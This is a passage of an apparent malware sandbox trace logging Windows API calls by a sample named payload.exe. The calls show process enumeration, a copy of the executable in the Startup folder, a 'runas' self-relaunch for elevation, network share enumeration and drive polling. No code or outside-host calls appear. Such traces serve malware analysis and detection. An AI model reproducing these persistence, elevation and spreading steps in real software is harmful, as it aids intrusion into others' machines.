th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.039] lstrlenW (lpString="dwm.exe") returned 7 [0116.039] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.039] lstrlenW (lpString="explorer.exe") returned 12 [0116.039] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.039] lstrlenW (lpString="spoolsv.exe") returned 11 [0116.039] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.040] lstrlenW (lpString="taskhost.exe") returned 12 [0116.040] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.040] lstrlenW (lpString="svchost.exe") returned 11 [0116.040] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0116.040] lstrlenW (lpString="payload.exe") returned 11 [0116.040] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0116.040] lstrlenW (lpString="reader_sl.exe") returned 13 [0116.040] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.041] lstrlenW (lpString="taskhost.exe") returned 12 [0116.041] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0116.041] lstrlenW (lpString="consent.exe") returned 11 [0116.041] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0116.041] lstrlenW (lpString="dllhost.exe") returned 11 [0116.041] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0116.042] CloseHandle (hObject=0x3d0) returned 1 [0116.042] Sleep (dwMilliseconds=0x1f4) Thread: id = 52 os_tid = 0x610 [0085.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5410f0 [0085.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54c338 [0085.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541108 [0085.686] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541108, Size=0x20) returned 0x525f10 [0085.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541108 [0085.686] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541108, Size=0x20) returned 0x525ec0 [0085.686] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0085.686] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0085.686] Wow64DisableWow64FsRedirection (in: OldValue=0x22dff28 | out: OldValue=0x22dff28*=0x0) returned 1 [0085.686] lstrlenW (lpString="kernel32.dll") returned 12 [0085.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525f10 | out: hHeap=0x4f0000) returned 1 [0085.687] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0085.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ec0 | out: hHeap=0x4f0000) returned 1 [0085.687] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x54c338, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x67 [0085.687] ShellExecuteExW (pExecInfo=0x22dff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 53 os_tid = 0x614 [0085.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5410a8 [0085.688] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5410a8, Size=0x20) returned 0x525ec0 [0085.688] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525ec0, Size=0x40) returned 0x526ef0 [0085.688] GetLogicalDrives () returned 0x4 [0085.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x57ef50 [0085.688] GetComputerNameW (in: lpBuffer=0x57ef54, nSize=0x23dff6c | out: lpBuffer="XDUWTFONO", nSize=0x23dff6c) returned 1 [0085.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x549658 [0085.689] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23dff3c | out: lphEnum=0x23dff3c*=0x526500) returned 0x0 [0085.689] WNetEnumResourceW (in: hEnum=0x526500, lpcCount=0x23dff38, lpBuffer=0x549658, lpBufferSize=0x23dff40 | out: lpcCount=0x23dff38, lpBuffer=0x549658, lpBufferSize=0x23dff40) returned 0x103 [0085.689] WNetCloseEnum (hEnum=0x526500) returned 0x0 [0085.689] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23dff3c | out: lphEnum=0x23dff3c*=0x5623b0) returned 0x0 [0087.289] WNetEnumResourceW (in: hEnum=0x5623b0, lpcCount=0x23dff38, lpBuffer=0x549658, lpBufferSize=0x23dff40 | out: lpcCount=0x23dff38, lpBuffer=0x549658, lpBufferSize=0x23dff40) returned 0x0 [0087.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x40856d0 [0087.289] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x549658, lphEnum=0x23dff10 | out: lphEnum=0x23dff10*=0x526720) returned 0x0 [0087.354] WNetEnumResourceW (in: hEnum=0x526720, lpcCount=0x23dff0c, lpBuffer=0x40856d0, lpBufferSize=0x23dff14 | out: lpcCount=0x23dff0c, lpBuffer=0x40856d0, lpBufferSize=0x23dff14) returned 0x103 [0087.355] WNetCloseEnum (hEnum=0x526720) returned 0x0 [0087.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x569530 [0087.355] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x549678, lphEnum=0x23dff10 | out: lphEnum=0x23dff10*=0x0) returned 0x4b8 [0087.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x3ab80e8 [0087.554] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x549698, lphEnum=0x23dff10 | out: lphEnum=0x23dff10*=0x0) returned 0x4c6 [0087.555] WNetEnumResourceW (in: hEnum=0x5623b0, lpcCount=0x23dff38, lpBuffer=0x549658, lpBufferSize=0x23dff40 | out: lpcCount=0x23dff38, lpBuffer=0x549658, lpBufferSize=0x23dff40) returned 0x103 [0087.555] WNetCloseEnum (hEnum=0x5623b0) returned 0x0 [0087.555] GetLogicalDrives () returned 0x4 [0087.555] Sleep (dwMilliseconds=0x64) [0087.698] GetLogicalDrives () returned 0x4 [0087.698] Sleep (dwMilliseconds=0x64) [0088.000] GetLogicalDrives () returned 0x4 [0088.000] Sleep (dwMilliseconds=0x64) [0088.252] GetLogicalDrives () returned 0x4 [0088.252] Sleep (dwMilliseconds=0x64) [0088.494] GetLogicalDrives () returned 0x4 [0088.494] Sleep (dwMilliseconds=0x64) [0088.687] GetLogicalDrives () returned 0x4 [0088.687] Sleep (dwMilliseconds=0x64) [0088.914] GetLogicalDrives () returned 0x4 [0088.914] Sleep (dwMilliseconds=0x64) [0089.148] GetLogicalDrives () returned 0x4 [0089.148] Sleep (dwMilliseconds=0x64) [0089.626] GetLogicalDrives () returned 0x4 [0089.626] Sleep (dwMilliseconds=0x64) [0089.740] GetLogicalDrives () returned 0x4 [0089.740] Sleep (dwMilliseconds=0x64) [0089.865] GetLogicalDrives () returned 0x4 [0089.865] Sleep (dwMilliseconds=0x64) [0089.982] GetLogicalDrives () returned 0x4 [0089.982] Sleep (dwMilliseconds=0x64) [0090.151] GetLogicalDrives () returned 0x4 [0090.151] Sleep (dwMilliseconds=0x64) [0090.273] GetLogicalDrives () returned 0x4 [0090.273] Sleep (dwMilliseconds=0x64) [0090.621] GetLogicalDrives () returned 0x4 [0090.621] Sleep (dwMilliseconds=0x64) [0091.094] GetLogicalDrives () returned 0x4 [0091.094] Sleep (dwMilliseconds=0x64) [0091.203] GetLogicalDrives () returned 0x4 [0091.203] Sleep (dwMilliseconds=0x64) [0091.413] GetLogicalDrives () returned 0x4 [0091.413] Sleep (dwMilliseconds=0x64) [0091.910] GetLogicalDrives () returned 0x4 [0091.910] Sleep (dwMilliseconds=0x64) [0092.050] GetLogicalDrives () returned 0x4 [0092.050] Sleep (dwMilliseconds=0x64) [0092.558] GetLogicalDrives () returned 0x4 [0092.558] Sleep (dwMilliseconds=0x64) [0092.684] GetLogicalDrives () returned 0x4 [0092.684] Sleep (dwMilliseconds=0x64) [0092.878] GetLogicalDrives () returned 0x4 [0092.878] Sleep (dwMilliseconds=0x64) [0093.223] GetLogicalDrives () returned 0x4 [0093.223] Sleep (dwMilliseconds=0x64) [0093.435] GetLogicalDrives () returned 0x4 [0093.435] Sleep (dwMilliseconds=0x64) [0093.584] GetLogicalDrives () returned 0x4 [0093.584] Sleep (dwMilliseconds=0x64) [0093.939] GetLogicalDrives () returned 0x4 [0093.940] Sleep (dwMilliseconds=0x64) [0094.125] GetLogicalDrives () returned 0x4 [0094.125] Sleep (dwMilliseconds=0x64) [0094.387] GetLogicalDrives () returned 0x4 [0094.387] Sleep (dwMilliseconds=0x64) [0094.809] GetLogicalDrives () returned 0x4 [0094.809] Sleep (dwMilliseconds=0x64) [0095.032] GetLogicalDrives () returned 0x4 [0095.032] Sleep (dwMilliseconds=0x64) [0095.471] GetLogicalDrives () returned 0x4 [0095.471] Sleep (dwMilliseconds=0x64) [0095.733] GetLogicalDrives () returned 0x4 [0095.734] Sleep (dwMilliseconds=0x64) [0096.084] GetLogicalDrives () returned 0x4 [0096.084] Sleep (dwMilliseconds=0x64) [0096.266] GetLogicalDrives () returned 0x4 [0096.266] Sleep (dwMilliseconds=0x64) [0096.714] GetLogicalDrives () returned 0x4 [0096.714] Sleep (dwMilliseconds=0x64) [0097.506] GetLogicalDrives () returned 0x4 [0097.506] Sleep (dwMilliseconds=0x64) [0098.031] GetLogicalDrives () returned 0x4 [0098.031] Sleep (dwMilliseconds=0x64) [0098.525] GetLogicalDrives () returned 0x4 [0098.525] Sleep (dwMilliseconds=0x64) [0098.975] GetLogicalDrives () returned 0x4 [0098.975] Sleep (dwMilliseconds=0x64) [0099.293] GetLogicalDrives () returned 0x4 [0099.293] Sleep (dwMilliseconds=0x64) [0099.525] GetLogicalDrives () returned 0x4 [0099.525] Sleep (dwMilliseconds=0x64) [0099.765] GetLogicalDrives () returned 0x4 [0099.765] Sleep (dwMilliseconds=0x64) [0100.165] GetLogicalDrives () returned 0x4 [0100.165] Sleep (dwMilliseconds=0x64) [0100.474] GetLogicalDrives () returned 0x4 [0100.474] Sleep (dwMilliseconds=0x64) [0100.648] GetLogicalDrives () returned 0x4 [0100.648] Sleep (dwMilliseconds=0x64) [0100.910] GetLogicalDrives () returned 0x4 [0100.910] Sleep (dwMilliseconds=0x64) [0101.186] GetLogicalDrives () returned 0x4 [0101.186] Sleep (dwMilliseconds=0x64) [0101.477] GetLogicalDrives () returned 0x4 [0101.477] Sleep (dwMilliseconds=0x64) [0101.738] GetLogicalDrives () returned 0x4 [0101.738] Sleep (dwMilliseconds=0x64) [0101.940] GetLogicalDrives () returned 0x4 [0101.940] Sleep (dwMilliseconds=0x64) [0102.594] GetLogicalDrives () returned 0x4 [0102.594] Sleep (dwMilliseconds=0x64) [0103.141] GetLogicalDrives () returned 0x4 [0103.141] Sleep (dwMilliseconds=0x64) [0103.502] GetLogicalDrives () returned 0x4 [0103.502] Sleep (dwMilliseconds=0x64) [0103.829] GetLogicalDrives () returned 0x4 [0103.829] Sleep (dwMilliseconds=0x64) [0104.077] GetLogicalDrives () returned 0x4 [0104.077] Sleep (dwMilliseconds=0x64) [0104.448] GetLogicalDrives () returned 0x4 [0104.448] Sleep (dwMilliseconds=0x64) [0104.958] GetLogicalDrives () returned 0x4 [0104.959] Sleep (dwMilliseconds=0x64) [0105.387] GetLogicalDrives () returned 0x4 [0105.387] Sleep (dwMilliseconds=0x64) [0105.819] GetLogicalDrives () returned 0x4 [0105.820] Sleep (dwMilliseconds=0x64) [0105.957] GetLogicalDrives () returned 0x4 [0105.957] Sleep (dwMilliseconds=0x64) [0106.634] GetLogicalDrives () returned 0x4 [0106.634] Sleep (dwMilliseconds=0x64) [0107.106] GetLogicalDrives () returned 0x4 [0107.106] Sleep (dwMilliseconds=0x64) [0107.598] GetLogicalDrives () returned 0x4 [0107.598] Sleep (dwMilliseconds=0x64) [0107.984] GetLogicalDrives () returned 0x4 [0107.984] Sleep (dwMilliseconds=0x64) [0108.429] GetLogicalDrives () returned 0x4 [0108.429] Sleep (dwMilliseconds=0x64) [0108.924] GetLogicalDrives () returned 0x4 [0108.924] Sleep (dwMilliseconds=0x64) [0109.344] GetLogicalDrives () returned 0x4 [0109.344] Sleep (dwMilliseconds=0x64) [0109.472] GetLogicalDrives () returned 0x4 [0109.472] Sleep (dwMilliseconds=0x64) [0109.708] GetLogicalDrives () returned 0x4 [0109.708] Sleep (dwMilliseconds=0x64) [0109.822] GetLogicalDrives () returned 0x4 [0109.822] Sleep (dwMilliseconds=0x64) [0109.993] GetLogicalDrives () returned 0x4 [0109.993] Sleep (dwMilliseconds=0x64) [0110.315] GetLogicalDrives () returned 0x4 [0110.315] Sleep (dwMilliseconds=0x64) [0110.710] GetLogicalDrives () returned 0x4 [0110.710] Sleep (dwMilliseconds=0x64) [0110.973] GetLogicalDrives () returned 0x4 [0110.973] Sleep (dwMilliseconds=0x64) [0111.305] GetLogicalDrives () returned 0x4 [0111.305] Sleep (dwMilliseconds=0x64) [0111.434] GetLogicalDrives () returned 0x4 [0111.434] Sleep (dwMilliseconds=0x64) [0111.591] GetLogicalDrives () returned 0x4 [0111.591] Sleep (dwMilliseconds=0x64) [0111.806] GetLogicalDrives () returned 0x4 [0111.806] Sleep (dwMilliseconds=0x64) [0112.152] GetLogicalDrives () returned 0x4 [0112.152] Sleep (dwMilliseconds=0x64) [0112.478] GetLogicalDrives () returned 0x4 [0112.478] Sleep (dwMilliseconds=0x64) [0112.953] GetLogicalDrives () returned 0x4 [0112.953] Sleep (dwMilliseconds=0x64) [0113.267] GetLogicalDrives () returned 0x4 [0113.267] Sleep (dwMilliseconds=0x64) [0113.643] GetLogicalDrives () returned 0x4 [0113.643] Sleep (dwMilliseconds=0x64) [0113.822] GetLogicalDrives () returned 0x4 [0113.822] Sleep (dwMilliseconds=0x64) [0114.023] GetLogicalDrives () returned 0x4 [0114.041] Sleep (dwMilliseconds=0x64) [0114.221] GetLogicalDrives () returned 0x4 [0114.221] Sleep (dwMilliseconds=0x64) [0114.742] GetLogicalDrives () returned 0x4 [0114.742] Sleep (dwMilliseconds=0x64) [0115.009] GetLogicalDrives () returned 0x4 [0115.009] Sleep (dwMilliseconds=0x64) [0115.260] GetLogicalDrives () returned 0x4 [0115.260] Sleep (dwMilliseconds=0x64) [0115.379] GetLogicalDrives () returned 0x4 [0115.379] Sleep (dwMilliseconds=0x64) [0115.674] GetLogicalDrives () returned 0x4 [0115.674] Sleep (dwMilliseconds=0x64) [0116.013] GetLogicalDrives () returned 0x4 [0116.013] Sleep (dwMilliseconds=0x64) [0116.281] GetLogicalDrives () returned 0x4 [0116.281] Sleep (dwMilliseconds=0x64) Thread: id = 54 os_tid = 0x618 [0086.447] GetTickCount () returned 0x112e9e2 [0086.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x56de98 [0086.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56de98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0086.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56de98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0086.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56de98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0086.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56de98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0086.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541180 [0086.453] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541180, Size=0x20) returned 0x526000 [0086.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541180 [0086.453] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541180, Size=0x20) returned 0x526028 [0086.453] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0086.453] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0086.453] Wow64DisableWow64FsRedirection (in: OldValue=0x24dff84 | out: OldValue=0x24dff84*=0x0) returned 1 [0086.453] lstrlenW (lpString="kernel32.dll") returned 12 [0086.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526000 | out: hHeap=0x4f0000) returned 1 [0086.453] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0086.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526028 | out: hHeap=0x4f0000) returned 1 [0086.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x52af08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0086.455] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0086.661] GetTickCount () returned 0x112eabd [0086.661] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0086.792] GetTickCount () returned 0x112eb3a [0086.792] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0087.161] GetTickCount () returned 0x112ebc6 [0087.161] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0087.353] GetTickCount () returned 0x112ec81 [0087.353] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0087.587] GetTickCount () returned 0x112ed5c [0087.587] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0087.733] GetTickCount () returned 0x112ede8 [0087.733] GetTickCount () returned 0x112ede8 [0087.733] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0088.000] GetTickCount () returned 0x112eee2 [0088.000] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0088.253] GetTickCount () returned 0x112ef9d [0088.253] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0088.494] GetTickCount () returned 0x112f087 [0088.494] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0088.687] GetTickCount () returned 0x112f142 [0088.687] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0088.914] GetTickCount () returned 0x112f21c [0088.914] GetTickCount () returned 0x112f21c [0088.914] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0089.148] GetTickCount () returned 0x112f306 [0089.148] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0089.626] GetTickCount () returned 0x112f4cb [0089.626] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0089.740] GetTickCount () returned 0x112f538 [0089.740] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0089.865] GetTickCount () returned 0x112f5b5 [0089.865] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0089.982] GetTickCount () returned 0x112f622 [0089.982] GetTickCount () returned 0x112f622 [0089.982] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0090.151] GetTickCount () returned 0x112f6ce [0090.151] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0090.273] GetTickCount () returned 0x112f74a [0090.273] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0090.625] GetTickCount () returned 0x112f892 [0090.625] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0091.094] GetTickCount () returned 0x112fa66 [0091.094] GetTickCount () returned 0x112fa66 [0091.094] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0091.203] GetTickCount () returned 0x112fad3 [0091.203] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0091.414] GetTickCount () returned 0x112fb8e [0091.414] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0091.910] GetTickCount () returned 0x112fd72 [0091.910] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0092.050] GetTickCount () returned 0x112fdfe [0092.050] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0092.558] GetTickCount () returned 0x112ffe2 [0092.558] GetTickCount () returned 0x112ffe2 [0092.558] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0092.684] GetTickCount () returned 0x113005f [0092.684] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0092.878] GetTickCount () returned 0x113011a [0092.878] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0093.223] GetTickCount () returned 0x1130271 [0093.223] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0093.435] GetTickCount () returned 0x113033c [0093.435] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0093.583] GetTickCount () returned 0x11303d8 [0093.583] GetTickCount () returned 0x11303d8 [0093.583] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0093.939] GetTickCount () returned 0x113053f [0093.939] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0094.125] GetTickCount () returned 0x11305fa [0094.125] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0094.386] GetTickCount () returned 0x11306f4 [0094.386] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0094.809] GetTickCount () returned 0x1130899 [0094.809] GetTickCount () returned 0x1130899 [0094.809] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0095.052] GetTickCount () returned 0x1130992 [0095.052] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0095.471] GetTickCount () returned 0x1130b38 [0095.471] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0095.732] GetTickCount () returned 0x1130c41 [0095.732] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0096.084] GetTickCount () returned 0x1130d98 [0096.084] GetTickCount () returned 0x1130d98 [0096.084] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0096.266] GetTickCount () returned 0x1130e53 [0096.266] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0096.707] GetTickCount () returned 0x1131008 [0096.707] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0097.505] GetTickCount () returned 0x1131324 [0097.505] GetTickCount () returned 0x1131324 [0097.505] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0098.031] GetTickCount () returned 0x1131536 [0098.031] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0098.525] GetTickCount () returned 0x1131729 [0098.525] GetTickCount () returned 0x1131729 [0098.525] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0098.953] GetTickCount () returned 0x11318ce [0098.955] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0099.269] GetTickCount () returned 0x1131a06 [0099.269] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0099.478] GetTickCount () returned 0x1131ae1 [0099.478] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0099.764] GetTickCount () returned 0x1131bfa [0099.764] GetTickCount () returned 0x1131bfa [0099.764] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0100.165] GetTickCount () returned 0x1131d8f [0100.165] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0100.474] GetTickCount () returned 0x1131ec7 [0100.474] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0100.647] GetTickCount () returned 0x1131f73 [0100.647] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0100.910] GetTickCount () returned 0x113206c [0100.910] GetTickCount () returned 0x113206c [0100.910] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0101.186] GetTickCount () returned 0x1132185 [0101.186] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0101.477] GetTickCount () returned 0x11322ae [0101.477] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0101.738] GetTickCount () returned 0x11323b7 [0101.738] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0101.940] GetTickCount () returned 0x1132482 [0101.940] GetTickCount () returned 0x1132482 [0101.940] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0102.595] GetTickCount () returned 0x1132701 [0102.595] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0103.141] GetTickCount () returned 0x1132933 [0103.141] GetTickCount () returned 0x1132933 [0103.141] WaitForSingleObject (hHandle=0x154, 